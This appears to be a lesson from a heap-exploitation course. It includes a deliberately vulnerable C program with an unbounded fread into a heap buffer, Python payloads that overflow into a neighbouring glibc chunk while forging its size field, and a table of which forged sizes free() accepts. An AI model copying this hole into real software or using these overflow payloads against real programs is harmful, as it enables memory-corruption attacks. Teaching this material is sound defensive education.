Heap Overflows and Chunk Metadata

The HeapLesson 5 of 675 minutesLessonNo lab next

The first thing past the end

Lesson 2 established where a neighbouring allocation begins, and it was not where you might have guessed. For two 24-byte allocations, the second one’s data starts 0x20 past the first one’s pointer, and the eight bytes at 0x18 are the second one’s size field.

So a write running off the end of one allocation does not arrive at the next one’s data. It arrives at the next one’s header, and it has to go through it.

That gives us two things to watch: the neighbour’s contents and the metadata its next free will read. A write can succeed now and leave a problem that only appears when the program returns the memory later. We’ll try both a payload that destroys the size field and one that preserves it.

Learning objectives

By the end of this lesson

• Overflow one allocation into the next and show what you reached.
• Explain why the allocator aborts afterwards, and quote the message.
• Reach the neighbour’s data while leaving it possible to free the neighbour.
• Say what free() actually checks about a size field, having tested several values.

A loading dock

Create the working directory if needed and enter it in the Ubuntu terminal:

mkdir -p ~/underdunn-course/heap ~/underdunn-course/notes
cd ~/underdunn-course/heap
ldd --version

The recorded allocator is glibc 2.39 on x86-64 Ubuntu, with ASLR enabled. Keep your version with your results. Save the complete program below as dock.c. Run only this supplied target inside the isolated course VM. Use the shown nonnegative slot numbers and capacities; we’re investigating the counted copy, not treating the minimal command parser as a safe interface for arbitrary input.

/*
 * Loading dock. Crates are opened at a fixed capacity, then loaded from
 * manifest records that carry their own length. The dock believes the
 * length.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>

#define CRATES 8

static char  *crate[CRATES];
static size_t capacity[CRATES];

static void open_crate(int n, size_t bytes)
{
    crate[n] = malloc(bytes);
    capacity[n] = bytes;
    memset(crate[n], 0, bytes);
    printf("  crate %d open at %p, capacity %zu, usable %zu\n",
           n, (void *)crate[n], bytes, malloc_usable_size(crate[n]));
}

static void load(int n, size_t len)
{
    size_t got;

    if (!crate[n]) {
        puts("  no such crate");
        return;
    }
    got = fread(crate[n], 1, len, stdin);
    printf("  loaded %zu bytes into crate %d\n", got, n);
}

static void show(int n)
{
    if (!crate[n]) {
        puts("  no such crate");
        return;
    }
    printf("  crate %d holds: %.*s\n", n, (int)capacity[n], crate[n]);
}

static void header(int n)
{
    size_t *p = (size_t *)crate[n];

    if (!p) {
        puts("  no such crate");
        return;
    }
    printf("  crate %d at %p, size field 0x%016zx\n", n, (void *)p, p[-1]);
}

static void gap(int a, int b)
{
    if (!crate[a] || !crate[b]) {
        puts("  no such crate");
        return;
    }
    printf("  crate %d at %p, crate %d at %p, distance %ld\n",
           a, (void *)crate[a], b, (void *)crate[b],
           (long)(crate[b] - crate[a]));
    printf("  crate %d's size field sits at crate %d + 0x%lx\n",
           b, a, (long)(crate[b] - crate[a]) - 8);
}

static void release(int n)
{
    free(crate[n]);
    crate[n] = NULL;
    printf("  crate %d released\n", n);
}

int main(void)
{
    char line[256];

    setvbuf(stdout, NULL, _IONBF, 0);
    puts("Loading dock.");
    puts("Commands: open <n> <bytes>, load <n> <len>, show <n>,");
    puts("          header <n>, gap <a> <b>, release <n>, quit");

    memset(line, 0, sizeof line);
    while (fgets(line, sizeof line, stdin)) {
        line[strcspn(line, "\n")] = '\0';
        if (strncmp(line, "open ", 5) == 0) {
            int n = atoi(line + 5);
            const char *sp = strchr(line + 5, ' ');
            open_crate(n % CRATES, sp ? (size_t)atol(sp + 1) : 24);
        } else if (strncmp(line, "load ", 5) == 0) {
            int n = atoi(line + 5);
            const char *sp = strchr(line + 5, ' ');
            load(n % CRATES, sp ? (size_t)atol(sp + 1) : 0);
        } else if (strncmp(line, "show ", 5) == 0) {
            show(atoi(line + 5) % CRATES);
        } else if (strncmp(line, "header ", 7) == 0) {
            header(atoi(line + 7) % CRATES);
        } else if (strncmp(line, "gap ", 4) == 0) {
            int a = atoi(line + 4);
            const char *sp = strchr(line + 4, ' ');
            gap(a % CRATES, sp ? atoi(sp + 1) % CRATES : 0);
        } else if (strncmp(line, "release ", 8) == 0) {
            release(atoi(line + 8) % CRATES);
        } else if (strcmp(line, "quit") == 0) {
            break;
        } else if (line[0] != '\0') {
            puts("  unknown command");
        }
        memset(line, 0, sizeof line);
    }
    return 0;
}

The bug is in load: fread receives the input’s length without comparing it with capacity[n]. The program knows how much space it requested, but never uses that information to bound the copy. A record longer than the crate therefore becomes a heap-buffer overflow; no integer wraparound is needed to reach it.

gcc -g -O0 -fno-omit-frame-pointer -Wall -Wextra dock.c -o dock

The recorded build emits no warnings. Nothing in load connects len to capacity[n], and these compiler flags do not diagnose the missing comparison in this program.

What is actually next door

Run ./dock and enter:

open 0 24
open 1 24
gap 0 1
header 1
quit

  crate 0 open at 0x565e924682b0, capacity 24, usable 24
  crate 1 open at 0x565e924682d0, capacity 24, usable 24
  crate 0 at 0x565e924682b0, crate 1 at 0x565e924682d0, distance 32
  crate 1's size field sits at crate 0 + 0x18
  crate 1 at 0x565e924682d0, size field 0x0000000000000021

Two numbers to carry forward: crate 1’s data is 0x20 away, and the eight bytes at 0x18 currently read 0x21.

Work out how many bytes you will need to load into crate 0 before one of them lands in crate 1’s data, then check it against those numbers before you run anything.

Thirty-three bytes

Anything containing arbitrary byte values needs a driver rather than a shell quote, so write over.py:

import sys
payload = b"X" * 33
sys.stdout.buffer.write(b"open 0 24\nopen 1 24\nload 0 %d\n" % len(payload)
                        + payload + b"\nshow 1\nheader 1\nquit\n")

python3 over.py | ./dock

  loaded 33 bytes into crate 0
  crate 1 holds: X
  crate 1 at 0x6443dc6cc2d0, size field 0x5858585858585858

The thirty-third byte landed in crate 1’s data, so show 1 prints an X even though no command loaded crate 1.

The header changed too. The copy crossed its size field, which now reads 0x5858585858585858: eight more X characters. The CPU didn’t treat the allocator’s bookkeeping differently from the rest of the writable memory, so the copy continued straight through it.

Freeing the damaged chunk

The program has not complained. Nothing has crashed. Now release the crate you just reached:

python3 -c "
import sys
payload = b'X' * 33
sys.stdout.buffer.write(b'open 0 24\nopen 1 24\nload 0 %d\n' % len(payload)
                        + payload + b'\nrelease 1\nquit\n')" | ./dock

  loaded 33 bytes into crate 0
free(): invalid size

The process aborts, and echo $? reports 134.

The overwrite and read-back both succeeded, but release eventually passed the damaged chunk to free. That’s when glibc needed the size field and rejected it.

If you started debugging at the abort, you’d be looking at the function that discovered the corruption rather than the copy that caused it. The earlier header 1 output connects those two events.

Putting the header back

The header is in the way, but Lesson 2 established something useful about it: chunk sizes are quantised, so 0x21 is not a secret. It is what any allocation of 17 to 24 bytes gets.

So reproduce it. Write keep.py:

import sys
payload = b"A" * 24 + (0x21).to_bytes(8, "little") + b"REWRITTEN"
sys.stdout.buffer.write(b"open 0 24\nopen 1 24\nload 0 %d\n" % len(payload)
                        + payload + b"\nshow 1\nheader 1\nrelease 1\nrelease 0\nquit\n")

Twenty-four bytes to fill crate 0, eight bytes that put the size field back exactly as it was, and then whatever you actually wanted to write into crate 1.

python3 keep.py | ./dock

  loaded 41 bytes into crate 0
  crate 1 holds: REWRITTEN
  crate 1 at 0x5c37a643a2d0, size field 0x0000000000000021
  crate 1 released
  crate 0 released

Crate 1 now holds content of your choosing, its header is intact, and both crates free without a murmur. The program will run to completion and exit zero.

The size field has the value free expects when it reads it later, even though the copy still wrote outside crate 0. The allocator accepted the header, but crate 1’s contents have changed.

What the allocator actually checks

You put back 0x21 because that was the real value. Is that required? Let’s compare several values. Save this as size-trial.py; it changes only the size field and releases crate 1 in a fresh process for each value:

import sys

value = int(sys.argv[1], 0)
payload = b"A" * 24 + value.to_bytes(8, "little")
sys.stdout.buffer.write(b"open 0 24\nopen 1 24\nload 0 32\n" + payload
                        + b"\nheader 1\nrelease 1\nquit\n")

python3 size-trial.py 0x31 | ./dock
echo $?

Repeat with the table’s other values. The table records what we observed with this plain build and initially empty cache.

Value written into crate 1’s size field	What free(crate 1) did
0x21, the true size	released cleanly
0x31	released cleanly
0x41	released cleanly
0x91	released cleanly
0x20, no PREV_INUSE	released cleanly
0x11, below the minimum chunk	free(): invalid size
0x25, size 0x20 with NON_MAIN_ARENA set	segmentation fault
0x1000	double free or corruption (!prev)
0x5858585858585858	free(): invalid size

The first four values pass the checks on this tcache path even though only 0x21 describes the original allocation. glibc extracts the size, checks its minimum and alignment, and uses it to select a bin. It doesn’t compare it with a separate copy of the original request.

A false size can therefore put the chunk in the wrong bin, leaving an inconsistency for a later allocation.

The flags matter too. 0x25 isn’t a misaligned chunk size: masking off the bottom three flag bits leaves 0x20, which is aligned. The extra 0x4 sets NON_MAIN_ARENA, sending glibc down the wrong arena-lookup path for this chunk.

The glibc flag definitions and free path explain why this produces a different failure from 0x11. An error message alone doesn’t identify which part of the header was wrong.

Checking the copy with ASan and Valgrind

Build the dock with AddressSanitizer and run the plain overflow:

gcc -g -O0 -fsanitize=address dock.c -o dock-asan
python3 over.py | ./dock-asan

==34198==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x503000000058
WRITE of size 33 at 0x503000000058 thread T0
SUMMARY: AddressSanitizer: heap-buffer-overflow ... in fread

Now run python3 keep.py | ./dock-asan, the version whose two releases succeeded in the plain build:

==34199==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x503000000058
WRITE of size 41 at 0x503000000058 thread T0

Both copies produce a heap-buffer-overflow report. Preserving the header avoids the plain build’s later abort, but ASan checks the recorded allocation boundary rather than trusting that size field. The twenty-fifth byte is already outside the requested region, before the copy reaches crate 1’s data.

Run the plain binary under Valgrind as a separate comparison:

python3 over.py | valgrind --quiet ./dock

==34201== Invalid write of size 2
==34201==  Address 0x4a78098 is 0 bytes after a block of size 24 alloc'd

Both tools report this copy because they track the requested allocation boundary. That gives them information they didn’t have about a write from one field to another inside a single global object: crate 0 was requested as 24 bytes, and this copy exceeds 24.

Keep the plain-build measurements separately, since the tools’ replacement allocators don’t reproduce glibc’s chunk layout.

The neighbouring object and the copy boundary

The demonstrated primitive is a relative write from crate 0 into its measured neighbour.

Preserving the intervening size field adds an input constraint: you must be able to write bytes of your choosing, including embedded zero bytes.

A single strcpy copy can’t carry this payload through the header and onward to the marker, because it stops at the first zero in the size field. The dock’s counted fread copy takes those zeros as data and continues for the supplied length, which is why this particular write can preserve the header on its way through.

The neighbour is an object the program allocated and will continue using. In the last section a relative write reached whatever the program had declared next, and you could read the declarations. Here it reaches whatever the program allocated next, which depends on the order of allocations at run time, and Lesson 3 gave you the beginnings of control over that.

Try a larger crate

Open two 40-byte crates in a fresh process and measure their gap and the second size field. Adapt keep.py to write REWRITTEN into crate 1 while preserving that field, then release both crates. Check that the marker appears and both releases succeed. If either fails, compare the measured offsets with your payload before trying again.

Check the larger payload

For adjacent 0x30 chunks, use 40 bytes of padding, eight bytes encoding 0x31, and the nine-byte marker: 57 bytes total. Change both open commands to 40 as well. If the marker doesn’t appear, compare your padding with the measured gap minus eight; don’t carry over the old 24-byte offset.

Knowledge check

Question 1 of 3

Loading 33 bytes into a 24-byte crate reached the neighbour's data. Why 33 rather than 25?

The allocator adds a nine-byte guard between allocationsBytes 24 to 31 are the neighbour's size field, so its data starts at offset 32The first eight bytes of any allocation are reserved by malloc

Check answer

When the results don’t match

• If your distance is not 32, check both open commands asked for the same capacity. A different capacity moves crate 1 and every offset on this page with it.
• If show 1 prints nothing after the overflow, check the received byte count, the measured gap, and whether the first byte reaching crate 1 is zero. A short payload or a string terminator can both explain an empty display; count from the actual gap rather than adjusting blindly.
• If the header-preserving run still aborts, print the size field with header 1 before releasing. Reproducing 0x21 means the byte 0x21 followed by seven zero bytes, in that order, and a payload built by concatenating a string will not do it.
• If release 0 aborts after release 1 succeeded, you have corrupted something beyond the size field. Reduce the payload until only the twenty-fifth byte is past the boundary, then grow it again.
• If the sanitizer build reports an overflow before you expected one, that is correct and the plain build is the one to measure offsets on. The two builds do not lay memory out the same way.

To recover a known state, quit and start the program again. The dock keeps nothing between runs.

Check your understanding

This payload needed the ability to write zero bytes at chosen offsets. Which of the overflows you have already met in this course could have done that, and which could not?

Compare your reasoning

The counted copy here can, because the length comes from the record and the bytes are taken verbatim. The strcpy overflows in the Bug Classes section could not put a zero anywhere except at the very end, which is exactly the constraint the Receiving Bay lab was built around: a single terminator, placed by choosing the length.

Both writes cross an object boundary, but the copy operation determines which bytes can reach the other object.

The allocator reads this metadata after the write has already happened, and accepting one operation does not prove the heap is consistent. Next we’ll inspect more of those checks, including the encoded links and duplicate-free detection used around the tcache.